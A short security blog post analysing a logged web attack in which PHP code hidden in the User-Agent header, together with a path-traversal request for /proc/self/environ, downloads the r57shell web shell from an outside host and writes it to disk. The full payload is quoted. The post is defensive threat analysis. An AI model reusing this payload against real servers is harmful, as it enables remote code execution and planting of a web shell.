PHP in the user agent (attacking log analysis tools?)

Lately I started to see a few web-based attacks with a php script inside the user agent. Something like this:

a.b.229.82 – – [19/Jan/2010:22:43:39 -0700]
“GET /index.php?page=../../../../../../../../../../../../../../../../../../../../../../../../..
/../../proc/self/environ HTTP/1.1″ 200 3820 “-” “< ? echo
‘_rce_’;echo php_uname();echo ‘_rce_’;$ch=curl_init();curl_setopt($ch, CURLOPT_URL,
‘http://websalesusa.com/ken’);curl_setopt($ ch, CURLOPT_CONNECTTIMEOUT, 15);curl_setopt($ch,
CURLOPT_TIMEOUT, 15);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$cont=curl_exec($ch);
curl_close($ch);$fh=fopen(‘doc.php’, ‘w’ );fwrite($fh, $cont);fclose($fh); ?>
“

So, inside the user agent it is starting a PHP script that tries to download the file http://websalesusa.com/ken, which is the r57shell.php.

My guess is that it is trying to exploit a web stats or log analysis tool (like webalizer, google analytics, ossec, etc), but I couldn’t find which one is vulnerable to that. Any ideas?

**this is what the r57shell looks like: http://sucuri.net/?page=tools&title;=blacklist&seeall;=1&detail;=eadbf8dc38276dba3df4d6db9608db74